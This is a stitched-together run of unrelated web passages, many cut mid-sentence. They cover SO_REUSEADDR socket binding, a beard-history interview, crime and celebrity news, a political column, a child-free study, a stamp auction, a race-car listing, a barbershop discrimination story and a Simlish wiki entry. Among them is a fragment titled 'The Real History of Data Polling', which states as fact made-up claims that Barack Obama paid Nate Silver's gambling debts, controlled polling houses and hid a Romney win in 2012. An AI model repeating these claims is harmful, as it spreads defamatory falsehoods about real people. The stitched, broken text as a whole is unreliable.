By default, no two sockets can be bound to the same combination of source address and source port. As long as the source port is different, the source address is actually irrelevant. Binding socketA to A:X and socketB to B:Y, where A and B are addresses and X and Y are ports, is always possible as long as X!= Y holds true. However, even if X == Y, the binding is still possible as long as A!= B holds true. E.g. socketA belongs to a FTP server program and is bound to 192.168.0.1:21 and socketB belongs to another FTP server program and is bound to 10.0.0.1:21, both bindings will succeed. Keep in mind, though, that a socket may be locally bound to "any address". If a socket is bound to 0.0.0.0:21, it is bound to all existing local addresses at the same time and in that case no other socket can be bound to port 21, regardless which specific IP address it tries to bind to, as 0.0.0.0 conflicts with all existing local IP addresses.
Anything said so far is pretty much equal for all major operating system. Things start to get OS specific when address reuse comes into play. We start with BSD, since as I said above, it is the mother of all socket implementations.
BSD
SO_REUSEADDR
If SO_REUSEADDR is enabled on a socket prior to binding it, the socket can be successfully bound unless there is a conflict with another socket bound to exactly the same combination of source address and port. Now you may wonder how is that any different than before? The keyword is "exactly". SO_REUSEADDR mainly changes the way how wildcard addresses ("any IP address") are treated when searching for conflicts.
Without SO_REUSEADDR, binding socketA to 0.0.0.0:21 and then binding socketB to 192.168.0.1:21 will fail (with error EADDRINUSE ), since 0.0.0.0 means "any local IP address", thus all local IP addresses are considered in use by this socket and this includes 192.168.0.1, too. With SO_REUSEADDR it will succeed, since 0.0.0.0 and 192.168.0.1 are not exactly the same address, one is a wildcard for all local addresses and the other one is a very specific local address. Note that the statement above is true regardless in which |
exploration is going to go, but I do think you’re right. There is more freedom, more interest in looking for a new style of facial hair than there has been in a long time.
I think it’s interesting to note that the beards might be one symptom of an overall feeling of, as you called it, “exploration,” and the feeling that we’re such a culture saturated with very similar, very homogenous media images, that breaking away from that is seen as something that’s valuable. Defining one’s own identity is common and valued by anyone that wants to have something original to add to the conversation.
You know, I came of age in the 80’s, — really, late 70’s, early 80’s, and my college generation was the Reagan era, and a lot of young people were really excited about the free market, business, enterprise, banks, you know, entrepreneurship… and there was a real enthusiasm for reclaiming a lot of that middle-class ethic that people thought that they had gotten away from in the 1960’s — which, by the way, was a very hairy decade, right?
So, that was a very shaven time, and young people were trying to look as squeaky-clean as they could and talking about being Young Republicans and so forth. And here we are, with the market collapsing… I think the younger generation is not going to be so attracted to this notion of business, of working up the ladder in a corporation, or the stock market, and the financial industry and that kind of thing.
Those kinds of industries and lifestyle are kind of discredited a little bit at this point, and I wonder if more of an adventurous and more individualistic ethic and personalities will come from this — people will turn away from this kind of business model of life to more of an artistic model of life. That might be part of what’s going on in the music world and elsewhere. I was watching a little bit of the Academy Awards, and I did notice some beards.
Yeah, there were a couple of them.
“It’s for a role. Don’t get excited.”
I mean, Josh Brolin was sporting a very nice beard there. So I’m wondering if there’s a kind of a change in the zeitgeist.
If you look at the Beard Movement that we’ve talked about, they believed that they had finally arrived at their final achievement, the advance of civilization to the point where we didn’t have to — we could grow our beards now. Well, that lasted about 40 years! (laughter)
And then, you know, maybe two generations… and then people started to think that advancement and progress meant shaving again. And beards went out around the 1900’s, even a little earlier, in the 1890’s. They haven’t really come back in a hundred years.
…Other than the 1960’s, but the 60’s have to be seen as a little bit of an aberration. I mean beards never became acceptable to the respectable middle class, and most of those guys who wore beards in the 60’s as young rebels shaved them off when they joined Wall Street firms, you know. Many of them really, literally did. So, I don’t think of the 60’s as really a genuinely bearded time.
So if you think that way, then really we’ve been in a shaven time for a hundred years. It doesn’t come and go; it comes, and then it goes for a long time. And then maybe it comes again for a little bit. I don’t see a pattern. I don’t know if we’re due. It’s like earthquakes! I mean, I guess earthquakes are due, but you can’t really say that there’ll be an earthquake in the next ten years.
It does certainly make it interesting to consider that instead of it being some sort of a wheel, where one side of it is shaven, one side of it is bearded… is it one factor among a number of other things that sort of crops up as a response to the claim of an emperor to divinity? And then it goes away, and it crops up again as…?
Yeah, it serves different purposes at different times, right. It doesn’t mean the same thing every time. It can mean something different. So, if we grow beards now, it’ll probably be for different reasons than it was in the 1850’s.
From Punch
It’s too early to speculate on what exactly those forces are at work, at the moment. It’s best to wait and see how it turns out.
The one thing I am sure of, the one thing I’m absolutely sure of, is that these changes are connected to whatever conceptions we are developing of masculinity. Ultimately, it is always tied to the question of what is it to be a man, and “how should I be a man?” That’s the existential version of that question, as a man. However that question gets answered is going to have a lot to do with what you do with facial hair.
And that’s why I’m interested in studying facial hair, because I think it’s a way of looking at the history of how people think about their masculinity. So I think I’ll be better able to explain maybe what’s going on now once I finish this project and see how it all worked out in the past. And then maybe I can guess at what’s happening now.
Well, we’ll definitely want to check back in with you. Dr. Christopher Oldstone-Moore is a lecturer in history at Wright State University. He’s currently writing a book on the history of the beard in Western civilization, which will aim to be the most exhaustive, comprehensive and authoritative work on the subject. The working title is The Meaning of Beards: Science, History and Culture. Chris, thanks for doing it so I don’t have to! And thanks for taking the time to speak with me today.
It was a pleasure! And I’m sure we’ll be in touch again.
I hope so. I’m David Malki! from Wondermark.com. Thanks for listening.
This entry was posted on Thursday, June 18th, 2009 at 1:07 pm and is filed under Blog. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed.TORONTO — A senior biomedical engineer working on a cure for pancreatic cancer has been identified as the victim in a fatal downtown Toronto stabbing Tuesday night.
Police said 39-year-old Mark Ernsting died in hospital after he was found with stab wounds on McGill Street, near Church Street and Gerrard Street, just before 9:30 p.m.
“The deceased in this case was out for his usual evening walk and we got reports from some citizens in the area that they heard a commotion,” said Detective Paul Worden.
“When they looked outside they found a male party laying on the sidewalk.”
Hugs and tears by colleagues and friends of latest homicide victim, Dr. Ernsting. pic.twitter.com/Uxm0OjqpWi — Caryn Lieberman (@caryn_lieberman) December 16, 2015
Police said a suspect was arrested around 10 p.m. after he was picked up by officers for an unrelated robbery earlier in the day.
“Through some sharp work by those officers they realized there were some connections to our homicide,” said Worden. “We were called and investigated and linked the two.”
Investigators said they are looking into the possibility that a random robbery gone wrong was behind the attack.
Police said the suspect and the victim did not know each other.
“We can determine now, doesn’t look like he was able to get anything. The deceased put up a fight and that’s what caused the suspect to flee,” Worden explained.
We are deeply saddened at the passing of Mark Ernsting – a talented researcher and terrific person. Our thoughts are with his loved ones. — OICR (@OICR_news) December 16, 2015
The Ontario Institute of Cancer Research (OICR) confirmed Ernsting worked as senior biomedical engineer in the Drug Discovery Program.
His colleagues walked to the site of the stabbing Wednesday afternoon, where they laid flowers and said a prayer for him.
Ernsting’s LinkedIn page indicates he was employed at the cancer research centre for the past four years and also held the position as an adjunct professor at Ryerson University in the faculty of engineering.
Ernsting received his PhD in biomedical engineering at the University of Toronto in 2005 and graduated with a degree in chemical engineering from Queen’s University in 1999.
READ MORE: Timeline: Recent rash of violent crime in Toronto
“We notified his next of kin and his partner and of course they are devasted by this,” said Worden. “It’s just really unfortunate that a good citizen out for a walk during the evening and a tragic set of circumstances led to his death.”
Carly Griffin, a friend and former colleague of Ernsting, told Global News she had worked with him at OICR for two years.
She said Ernsting was dedicated to his research and loved to garden and sing in a choir in his spare time.
“We’ve got a great group here and he really fit in well, not just with his voice, but with his personality, and he was an important part of the tenor section,” said Dan Norman, the musical director at the Church of the Redeemer on Bloor Street West.
“I would look over in the choir’s direction and he always had a very gentle and very warm posture, a very lovely man, and our interactions after service over coffee were always engaging, talking about life, and for him, a deepening of his own faith as well,” said incumbent priest Andrew Asbil,
The accused in the case has been identified as 21-year-old Calvin Nimoh and he faces a charge of second-degree murder.
Sources told Global News Nimoh has a long list of prior convictions and was on probation at the time of the stabbing Tuesday.
Police acknowledge Nimoh is known to them and had a criminal history that was “concerning.”
Anyone with information about the fatal stabbing is asked to contact police at 416-808-7400, Crime Stoppers anonymously at 416-222-TIPS (8477).Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Cats may have nine lives but these brave kitties seem to be pushing the envelope in an advert to promote an insurance firm.
But before animal lovers start to get hot under the collar, the Swedish company who made the ad has promised no felines were harmed in its production.
This is because while it may look like the cats are plunging thousands of feet, the commercial was produced using green screen trick shots
So in the original film people were actually shot skydiving, but they were then replaced with cats through the magic of technology.
The advert was produced for Swedish insurance company Folksam after the firm asked its customers to suggest web ads.
One customer Eva Leijonmark, who insures her cat with the company, suggested skydiving cats spelling out her name and putting it to R Kelly’s song “I Believe I Can Fly.”
Amazingly Folksam went for the wacky concept and set about making the idea into a video.
The recording shows the moggies appearing to freefall with squinted eyes and the wind rushing through their fur.
In another scene, the flying cats then join up in formation linking paws in an attempt to spell out the word Eva across the sky.
The ad then shows the furry skydivers' parachutes opening as they begin the slow descent back down to earth.
Produced by advertising agency Akestam Holst, the 40 second video has gone viral with almost 500,000 hits on YouTube.
While most viewers appear to see the funny side of the clip, some cat lovers have been disturbed by what they saw.
“This is not funny or cute,” one wrote, while another commented: “Wrong on so many levels."
The company has said that it followed animal welfare laws to ensure that the animals were unhurt in during the filming.
Watch the parachuting cats in action belowI got in touch with Felipe Modesto, Fira Soft’s creative director, who was kind enough to give me an update on the status of his team’s winter themed survival horror adventure, Kriophobia. When the games’ Kickstarter campaign failed to meet its $50k CAD funding goal in January, most of the team left for Carnival in Brazil. Even Mr. Modesto did not return to the office till last Friday. Though their campaign did not succeed, the overall tone that I got from the creative director was fairly positive. When asked what the next steps for the project were, Modesto responded with:
Yes, Kickstarter did not meet its goal, but that’s ok. We launched the campaign in December and knew that this would be a challenge. It was our first campaign and one of our goals was to increase awareness of the project. While the funding goal was not achieved, we got an enormous amount of feedback. This lead us back to the drawing board. We’ve reassigned part of our team to a couple of projects we had running to get them out of the door as soon as possible. We’re doing this to increase our capital, as we’ve been funding Kriophobia with our resources and don’t want to resort to bank loans until we absolutely must. Lastly, we’ve been contacted by publishers and have started talking with them to see if working together would be good for the game.
When I asked next what progress the game has made since then, he replied:
For the past month we have gone over the project, analyzing all comments on our Kickstarter page, emails we have gotten, all videos people posted. We’ve written many reports, discussed the relevance of the input we got and even made a few closed tests to evaluate possible changes.
In discussing a final release date, Modesto went on to say that due to the campaign’s failure, the official launch has been postponed. He stressed that nothing was final yet, but that it was Fira Soft’s hope to release the first chapter of Kriophobia sometime this year. Though the game was not successful on Kickstarter, it had reached over half of its funding goal of $50k CAD, and during the holiday season no less, proving that perhaps the survival horror genre is not quite dead yet.Former Phoenix Suns player and NBA star Charles Barkley told police he was in a hurry to receive oral sex from a female passenger when he ran through a stop sign drunk early Wednesday, a police report states.
The report, released late Wednesday by Gilbert police, details how Barkley not only made candid references to his impending rendezvous with an unnamed woman for oral sex, but also how he at least half-seriously implored a civilian police employee to help him get out of the DUI bust.
The 11-time NBA All-Star was arrested, cited and released on suspicion of misdemeanor DUI and being impaired to the slightest degree. Gilbert police Lt. Pete Smith pulled over Barkley's black Infiniti SUV at 1:30 a.m. after it rolled through a stop sign at about 10 mph near 75th Street and 6th Avenue in Scottsdale.
"He was very respectful and very cooperative," said Gilbert police Lt. Eric Shuhandler. "It was a very routine DUI arrest."
Smith was one of dozens of East Valley DUI Taskforce officers from 10 different police agencies who have been combing area streets for suspected drunk drivers since Thanksgiving. Barkley's was one of 90 DUI arrests made Tuesday night in Scottsdale alone.
In a statement to The Associated Press, Barkley said he was "disappointed that I put myself in that situation. The Scottsdale police were fantastic. Now it is a legal matter and I will not comment any further as it is a legal matter."
The reference to Scottsdale police reflects Barkley's apparent lack of knowledge about the regional DUI task force and how the arresting officer's department assumes jurisdiction for an arrest no matter where it occurred.
Smith was in an unmarked patrol car when the SUV roll passed the stop sign, the police report states. The SUV stopped just south of the intersection and a female climbed into the passenger seat.
Smith pulled over Barkley, who blocked the southbound lane and had bloodshot, watery eyes and had the smell of alcohol on his breath, the report states.
"I asked if he had been drinking and he said, 'Yes I have,'" Smith writes in the report. Barkley then admitted to having a "couple" drinks.
Smith gave Barkley a field sobriety test, which he failed, Shuhandler said. At the advice of his body guard, who Barkley said was a police officer, the basketball star refused to take a portable breathalyzer test but submitted to a blood test.
Those results will not be available for another week.
While being processed at the East Valley DUI Taskforce command post, Barkley told police, "I was going to drive around the corner and get" oral sex, the report states. He explained he had engaged in oral sex with the same woman last week, the report added.
He then told civilian employee, "I'll tattoo your name on my ass" if it would get him out of the DUI, according to the report.
Shortly before leaving the command post in a taxi cab because his SUV was towed, Barkley shook hands with several officers, Shuhandler said.
Barkley was returning from the Dirty Pretty Rock Bar near Camelback and Miller roads where he spent about three hours with a large group of 40 people, said owner Ryan Jocque. The party included actor Jaleel White, who played TV nerd Steve Urkel from the 1990s sitcom Family Matters, and football player Michael Strahan.
"Charles is a very good customer of ours," Jocque said.
Despite a turbulent end to the year, Shuhandler said he hoped the former Phoenix Sun star would turn the negative experience into a positive, Shuhandler said.
"He has a chance to do something good with this. I hope he does," Shuhandler said.
A court date in Scottsdale Municipal Court has yet to be scheduled.
Nicknamed "Sir Charles," Barkley was an 11-time NBA All-Star and league MVP in 1993. He played 16 NBA seasons for the Philadelphia 76ers, Phoenix Suns and Houston Rockets, and played on the USA Olympic "Dream Team" in 1992 and 1996.
Reporters Clarissa Dodge and Kristena Hansen contributed to this report.For months the press has offered catty speculations about Republican presidential nominee Donald Trump’s efforts to raise money for military veterans and wounded warriors. Since January, multiple reports have questioned how much money had been raised, where the funds went and whether Mr. Trump donated personally or through the Donald J. Trump Foundation. Several news accounts framed the fundraising as a campaign tool rather than a heartfelt gesture; Mr. Trump’s critics time and again cast him as disingenuous, eager to use vets as a “political stunt.”
On Tuesday morning Mr. Trump revealed all during a press conference at Trump Towers in New York City. He listed the 40-plus charities which so far have received $5.6 million from his donation efforts. They include the Fisher House Foundation, K-9s for Warriors and the Navy SEAL Foundation, among the many.
“All of the money has been paid out,” Mr. Trump said during the event, which at times turned into a contentious back-and-forth with several reporters.
“There are so many people who are so thankful for what we did. I’m totally accountable, but I didn’t want to have credit for it,” he noted.
There are some numbers already afoot: DonaldTrumpforVets.com, an official site established in January, clearly states it raised $1.7 million for military causes. A recent Forbes magazine analysis also found that the Trump Foundation donated $5.5 million to 298 charities during a four-year period ending in 2013, though the report cited Mr. Trump for donating $57,000 to seven organizations that directly benefited vets. Local New York vets who do not support Mr. Trump plan to demonstrate outside of the building, according to Americans United for Change, a progressive group.
Meanwhile, Mr. Trump praised the 16,500 U.S. Border Patrol agents who recently endorsed him, tweeting Monday that their support proved that his promise to secure the “wall” between the U.S. and Mexico was a viable one.
“We need a person in the White House who doesn’t fear the media, who doesn’t embrace political correctness, who doesn’t need the money, who is familiar with success, who won’t bow to foreign dictators, who is pro-military and values law enforcement, and who is angry for America and not subservient to the interests of other nations. Donald Trump is such a man,” the organization noted in their endorsement.
LIBERTARIAN MOMENT OF TRUTH
“The eyes of the world are upon us. Now is our time to break through. We have barely 5 months left between now and Election Day. Let’s make every day count.”
— Libertarian National Committee Chairman Nicholas Sarwark, in a new message to Libertarian voters
FOR THE LEXICON
“The Gary Johnson Victory Fund”
— Newly established fundraising apparatus established with the Federal Election Commission to benefit Libertarian presidential nominee Gary Johnson. The fund has partnered with 15 state Libertarian groups and can accept individual donations up to $80,000.
“The Gary Johnson Victory Fund presents a monumental step for a third party to enter the big leagues in campaign finance,” the candidate says in his initial outreach. “We have built the infrastructure to give those dissatisfied with Trump and Hillary a major reason to invest their personal funds for liberty, and victory. We ask all patriotic voters with means to consider a substantial contribution.”
NIXON’S NEW OFFICE
Some news from Yorba Linda, California: The Richard Nixon Presidential Library and Museum tells Inside the Beltway that plans are underway to recreate Richard Nixon’s Oval Office at the site, down to the last historic detail.
Opening in mid-October, the display will include exact replicas from the 37th president’s daily workplace, including the Wilson Desk that Nixon preferred — now used by Vice President Joseph R. Biden in the U.S. Capitol. Other features on display will be an iconic bust of Abraham Lincoln, a portrait of George Washington, deep-blue carpet with the presidential seal and curtains in the rich ochre color that first lady Pat Nixon once called “California gold.”
Selfies are welcome, the museum advises.
The renovation was made possible by a gift from real estate investor George Leon Argyros, former U.S. ambassador to Spain and owner of the Seattle Mariners throughout the 1980s. Mr. Argyros says he hopes the project will inspire visitors “to learn from our history, appreciate American civics and shape better futures for themselves and others.”
FRIENDS OF HILLARY
Beginning Tuesday, there will be nine assorted private fundraisers this week for Hillary Clinton’s campaign hosted by, among others, former Attorney General Eric H. Holder Jr., Sens. Kirsten Gillibrand and Cory Booker, rock musician Jon Bon Jovi, actress Debra Messing, soon-to-be-mother Chelsea Clinton and tennis great Billie Jean King, who is actually hosting an event for Mrs. Clinton in Paris.
But we want to be fair here. There’s one fundraiser this week on for GOP rival Donald Trump in the Virginia suburbs outside the nation’s capital — this organized by a prominent lobbyist who previously was not always very fond of the nominee. The host, who once supported Jeb Bush, hopes to raise about $300,000.
AND SOME OTHER MONEY TO THINK ABOUT
So far the two Democratic presidential hopefuls have spent $241,445,681 on radio and TV advertising for their campaigns. Hillary Clinton’s campaign dropped $165,554,126, while Sen. Bernard Sanders spent $75,891,555. These big fat numbers originate in a meticulous Ad Age analysis of data from the Kanta Media Campaign Media Analysis Group, which tracks broadcast expenditures.
And from the other side: Republican nominee Donald Trump has spent $21,152,491 on his broadcast outreach. Those who are against him spent more. Five political action committees who are primarily targeting disgruntled Republicans to counter Mr. Trump have spent $28,100,052.
POLL DU JOUR
• 61 percent of Americans say it’s important for presidential nominees to release their tax returns; 44 percent of Republicans, 58 percent of independents and 80 percent of Democrats agree.
• 38 percent overall do not think it is important; 57 percent of Republicans, 42 percent of independents and 20 percent of Democrats agree.
• 61 percent overall say Donald Trump should release his tax returns; 38 percent of Republicans, 60 percent of independents and 81 percent of Democrats agree.
• 21 percent say it is not necessary; 37 percent of Republicans, 22 percent of independents and 9 percent of Democrats agree.
• 18 percent overall are unsure about the issue; 25 percent of Republicans, 19 percent of independents and 11 percent of Democrats agree.
Source: An Economist/YouGov poll of 2,000 U.S. adults conducted May 20-23.
• Cranky complaints, clever asides to [email protected] FOllow her on Twitter @HarperBulletin
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Photo: Thomas M. Barwick/Getty Images
Despite the recent findings that having kids might be harmful to your self-esteem, it’s pretty safe to say that American culture is “pronatalist”: As soon as you graduate college, start a career, and marry somebody, the next level of the video game called life is parenthood. Whether it’s your mom asking about would-be grandkids over the holidays or the endless parade of domestic sitcoms, there’s an agreed-upon assumption that “family” includes children, and that not having kids must be the result of infertility or just not getting around to it. But these expectations are at odds with changes in the way people are living: From the 1970s to the 2000s, the number of childless women in the U.S. nearly doubled, and the national data suggests that 15 percent of women and 24 percent of men hit 40 without having kids.
Helpfully, the language around these lifestyle choices is starting to get more refined. Social scientists, who once referred to everyone who didn’t procreate as childless, which speaks to trying and failing to make babies, now also use the term “child-free,” which gives more credit for choosing not to make them. In a new paper in The Family Journal, sociologists Amy Blackstone of the University of Maine and Mahala Dyer Stewart of UMass Amherst investigate the mechanics of that choice. While research has been done around why more and more people are child-free — with explanations including more reproductive choice for women, greater workforce participation for women, and the like — little has been done around how the choice is made, especially with men involved.
Blackstone and Stewart went with a qualitative approach, asking evocative, open-ended questions to 21 women and 10 men who have chosen not to have kids. The participants had an average age of 34, and were almost entirely heterosexual. The interviews, which took 60 to 90 minutes, had three main inquiries: the decision-making process in being child-free, how others respond to the decision, and reflections on all the above. The transcripts of those interviews were then fed into a computer program and coded for themes. The two biggest were “conscious decision” and “process.” Indeed, all but two respondents said it was a conscious decision, and those who didn’t were the exceptions that prove the rule: One woman said she ‘‘always kind of felt this way so I don’t think there was ever a time where I made a conscious decision,” while another said, ‘‘I’m not sure that it was conscious decision. I’ve never wanted to have children.’’
A couple chords were struck again and again in people’s reasoning. Many saw their siblings or close friends have kids and decided that it was not something they wanted to arrange their lives around. The men tended toward individualized decision-making, noting that they wouldn’t be able to travel or pursue other meaningful projects. (“It’s a rational response to what it means to have a kid and what impact [being a parent] has on the rest of your life,” was one primary example). Women were more outwardly focused in their decision-making, referencing how having kids would alter their adult relationships or contribute to overpopulation and other environmental impacts, or that the world as it is isn’t hospitable to new children. The authors reason that the outward-facing decision-making for women may be a result of the greater cultural pressure on them to reproduce. Most of all, it’s an ongoing decision. You don’t wake up one day and declare that you don’t want kids, it’s something you check in with yourself (and your partner, if you’re partnered) about over the years.
It should be noted that a study at this scale is limited: It’s homogeneous in terms of ethnicity and sexual orientation, and it would be super-useful to have more research done around how people of different identities decide whether to have kids, especially since birthrates, at a macro level, are so strongly correlated with education: The better educated people are, the fewer kids they have. But what’s great about this study is that it makes being child-free very human. Not having kids isn’t a pathology or an accident of fate, but a choice.An 1869 “Shield, Eagle and Flags” 30-cent pictorial stamp (US Scott #121) realized nearly $45,000 ($35,000 USD) at a Robert A. Siegel sale earlier this month, exceeding pre-auction estimates of $6,500 by about 600 per cent.
The sale, which took place April 7 in New York City, saw the first part of the Hanover Collection of “superb-quality” U.S. stamps auctioned off to bidders, of which there were many with deep pockets. Among the highlights was the Shield, Eagle and Flags stamp, which is graded XF-Superb 95, making it one of the three finest known examples to exist.
The stamp was likely issued in April 1869, during the administration of former U.S. President Ulysses S Grant, and was the first official U.S. series to portray something other than former politicians. Its earliest known use was on a cover dated May 22, 1869 and sent from New York to Hong Kong. To date, there are about 60 known covers sent with the 30-cent stamp affixed to it.This 1972 Alfa Romeo GTV 2000 racer has been with the seller for 12 years now and has competed in several noted southwestern events including the Palm Springs Revival, Coronado Speed Festival, and HSR West Fontana among others. It’s said to be in perfect, ready to race condition with no needs. The car looks and sounds properly built, and includes a large cache of documentation including complete construction records, plans, and diagrams. At 71 years old, the seller has been racing his whole life but now feels it’s time to move on to other hobbies. It is now available in Vista, California for $30k.
Starting from a stripped body, Zimmerman Autosports of the San Diego area prepped the car with Plexiglass windows, fiberglass opening panels, and a full cage built to SCCA vintage specs. Fabrication quality appears to be quite good throughout, and body panels seem straight and solid in keeping with the seller’s claim that the car has never been crashed. Panasports look great on Alfa coupes, and this car is no exception—five are included in the sale, all wearing fresh rubber. Additionally, four rain tires are included on different rims.
The cabin sports a custom sheet metal dash with minimal instrumentation, a long reach shift lever, neat wiring, and clean body color paint on the floors and cage. A manual brake bias adjuster is within easy reach, and a Corbeau mid back chair sits behind a nicely padded, leather rimmed wheel with a straight-ahead marker.
Engine, transmission, differential, brakes, and suspension are all fresh with less than 20 hours, and the car sounds to be reliable with no DNF records during its long competition career. The motor looks tidy underhood, and runs Carrillo connecting rods, a GTA header, and Electronic ignition. The engine stabilizer bar seen prominently in photos is a nice addition and should help reduce drivetrain windup. Many spare parts including an extra cylinder head are included. The car has several 3rd, 4th, and 5th place finishes to its credit, as documented in an accompanying logbook.
Click here to email the seller directly if you are interested.
Check out the additional photos here in the Flickr album and slide show below.FARMERS say the Coalition is dramatically underestimating the cost of greenhouse reductions from soil carbon, which makes up 60 per cent of its direct action plan to cut emissions.
Alongside warnings the Coalition could need to pay up to $500 million a year to subsidise power prices, the new estimates raise questions about whether the Opposition Leader, Tony Abbott, could achieve a 5 per cent cut in emissions by 2020 within his capped $10.5 billion budget for the direct action plan.
Same for less... Tony Abbott's sums come under the spotlight. Credit:Alex Ellinghausen
As the government begins its $12 million advertising campaign tomorrow night to combat voter opposition to its incoming carbon tax, Mr Abbott is assuring voters his direct action fund could achieve the same emission cuts without extra costs for businesses or families.
But Michael Kiely, the chairman of the Carbon Farming and Trading Association, said: ''Australian farmers won't line up to sell an Abbott government soil carbon at bargain basement prices.''2
The Real History of Data Polling
In 2008 the comparative weakness of John McCain and the extreme messaging discipline imposed by Barack Obama
collided by accident with the public emergence of po ll-driven data-reporting. This was best embodied in 538’s Nate Silver:
The public’s mind was captured by the image of mathematical wizards able to make uncannily accurate political
predictions.
Barack Obama, for his part, saw opportunity. Impressed by the impact p olling-aggregation had as a persuader, he quickly
turned his Opposition Research team on Silver and, in addition to using campaign funds to pay off Silver’s gambling debts,
was quickly able to co-opt him.
By the time the 2012 election came, the Obama Victory Lab had put in place the connections and communications
necessary to exploit the grip polling had on the American imagination. This infrastructure included control of polling houses,
friendly or forced cooperation in the media, and a pair of think-tanks that would design the numbers that would be, through
several hands, translated into The Message.
The actual 2012 election was a 2pt Romney Favorite as his internal polling suggested—but so powerful was the ability to
modulate public life that the 2012 demographics were actuallyArmy veteran Kendall Oliver, 24, poses for a picture. (Courtesy of Lambda Legal)
Kendall Oliver’s hair looked just like that of the man who was comfortably seated in the next chair over at the barbershop. Closely trimmed on the sides, a little longer on top — and ready for a trim.
Oliver asked for the same cut. Yet the owner of the barbershop turned Oliver away — telling Oliver, an Army veteran, that he won’t cut women’s hair because he believes the Bible forbids it.
Oliver is transgender. And with that, the Army reservist in the Los Angeles area became the latest citizen at the center of a recurring American debate: Where does freedom of religion end and discrimination begin?
The debate has swept up a pizza shop in Indiana, photographers in New Mexico, a baker in Colorado — and, most recently, the Missouri Senate.
[Why Donald Trump is tearing evangelicals apart]
After six years serving in the Army as a woman, including a tour in Afghanistan, Oliver began identifying as genderqueer and switched to the pronoun “they” rather than “her” or “him.”
Oliver identifies mostly as male. The Army reservist wears masculine clothing. And then there’s the haircut — always short, ever since high school.
But when Oliver, 24, made an appointment at a new barbershop in Rancho Cucomonga, Calif., a week ago, the first thing they saw was a woman with half her hair long and half her head shaved, asking for a trim.
Oliver saw the owner turn the woman away. Oliver said the owner told the woman that the shop doesn’t cut women’s hair. But Oliver still thought keeping their own appointment wouldn’t be a problem. After all, the veteran doesn’t have long hair — and doesn’t identify as a woman.
“He said, ‘We only do men’s haircuts,’ ” Oliver said. “I said, ‘I’m here for a men’s haircut, just like you’re doing on the gentleman in the chair there.’ ”
[Watch singers all over the world join in ‘Hallelujah’ in this impressive Mormon video]
Other customers were watching the encounter, Oliver said, and Oliver left the store with cheeks burning from embarrassment. After thinking it over, Oliver decided to try again. “I called back to try to talk to him and explain that I identify more male than female. He said, ‘It doesn’t matter, ma’am. We don’t cut any type of women’s hair.’ ”
Staff at The Barbershop in Rancho Cucomonga declined to comment on Monday, and the owner, Richard Hernandez, could not be reached on his personal phone.
But he told CBS News in Los Angeles that his religion forbids cutting women’s hair. “The Bible teaches us that a woman’s hair is given to her for her glory, and I would not want to take away any of her glory from her.”
Hernandez told CBS that he is Christian, but did not specify whether he belongs to one of the few small denominations that tell women never to cut their hair. The Bible includes several stories such as that of Samson, whose strength came from his uncut hair. But this particular idea comes from Chapter 11 of First Corinthians, which also seems to repeat several times that men are superior to women, and women are meant to gratify men. “Does not nature itself teach you that if a man wears long hair, it is degrading to him, but if a woman has long hair, it is her glory? For her hair is given to her for a covering,” the verses say.
[The U.S. House just voted unanimously that the Islamic State commits ‘genocide.’ Now what?]
Peter Renn, a lawyer at LGBT rights organization Lambda Legal, is talking to Oliver about the incident and may pursue legal action. He said that California law that prevents discrimination on the basis of gender or gender identity should have compelled Hernandez or one of his employees to cut Oliver’s hair.
If the shop offers a service — in this case, the haircut that the other person with Oliver’s hairstyle was getting that day — then it must offer that same service to any person, Renn said.
“Religion can’t and shouldn |
text in The Sims 3.
Simlish is the fictional language used by Sims. It is assumed that Simlish is the official language of SimNation.
There is no official Simlish dictionary, but an unofficial dictionary, based on The Sims 2, can be found here. (Archived)
Contents show]
History Edit
Simlish was created because Will Wright, creator of The Sims, knew that the game needed dialogue, but thought that using real life languages such as English would cause the dialogue to be repetitive and would be expensive translating the entire dialog Sims may say. Wright did consider experimenting with Navajo, a Native American language, but decided that it would be better to use a "nonsense language" that couldn't be translated, because the meaning could be left to the player's imagination.[1]
Some say it may be a mixture of Ukrainian, Navajo, Romanian, Irish, Tagalog, and even gibberish,[2] but this has not been confirmed.
Simlish was first used in SimCopter, a flight simulator game released in 1996.
Non-Simlish phrases Edit
On occasion, non-Simlish phrases are heard in the Sims games.
The Sims
When a child is eating food, he/she may say "Mmm... yummy!"
When a male is talking on the phone he may say "I know!".
When an adult Sim is chopping food, sometimes they will say "Ouch!"
When a male adult is disgusted, sometimes, he will say "Yuck!"
A male Sim will sometimes say "Hey man!" when being pushed.
When a Sim is ordering pizza on the phone, they may say "No way!", a common gossiping phrase.
When the player makes a Sim do anything to increase an adult's skill points when they are in a bad mood, they will turn to the camera and say "Uh-uh!".
The Sims 2
While playing with a stuffed bear, toddlers might say a phrase similar to "Stupid bear!".
In University, Sims who reject the "school cheer" interaction say something that sounds like "No love for gerbits." ("Gerbit" appears to be Simlish for llama.)
, Sims who reject the "school cheer" interaction say something that sounds like "No love for gerbits." ("Gerbit" appears to be Simlish for llama.) A child Sim may say something along the lines of "Ayaw ko, bobo siya!" when complaining to the player about a blocked path. (Filipino for "I dislike him/her, he's/she's stupid!".)
When a child grows up, they might say "I went to the bath" in the cinematic.
When a child is throwing a tantrum from having a low aspiration bar, they may say something that sounds like "I gotta poo!"
The Sims 3
A female Sim might occasionally say "Urocka (silence) lalala kondo" when she declines an opportunity.
A female character on the KidZone television channel says "Oh, hello!"
Sometimes in Late Night, when a Mixologist serves a good drink, the Sim who drinks it will say "Awesome!" in English
, when a Mixologist serves a good drink, the Sim who drinks it will say "Awesome!" in English When watching the Sports Universe channel or playing Football on the computer, one of the announcers will say "Look at him go!" followed by Simlish, then say "Homeless dude? OH!"
When there is a child aging up with the Birthday Inferno Birthday Cake, if there is another child on the lot, that child will say "Happy birthday!" if you listen very closely.
Sims that are on the phone with another Sim tend to say weird, funny phrases (especially when they're inviting the Sim over). Some common phrases are: "You're blonde! Said you're blonde," and "You're...You're Jessy Madoo!"
During scouting events in Generations, a child may ask "Where do nooboos come from?" ("Nooboo" is the Simlish word for baby.)
, a child may ask "Where do nooboos come from?" ("Nooboo" is the Simlish word for baby.) When playing computer games, a voice saying "Ref. 59'" can sometimes be heard from the game.
In World Adventures, male Sims are sometimes heard to say "Come on!" while using the Board Breaker.
, male Sims are sometimes heard to say "Come on!" while using the Board Breaker. Sometimes in World Adventures, if a male Sim reaches into a hole and then pulls his hand out because it is covered in bugs, he can sometimes be heard saying "Ugh! Buggies!"
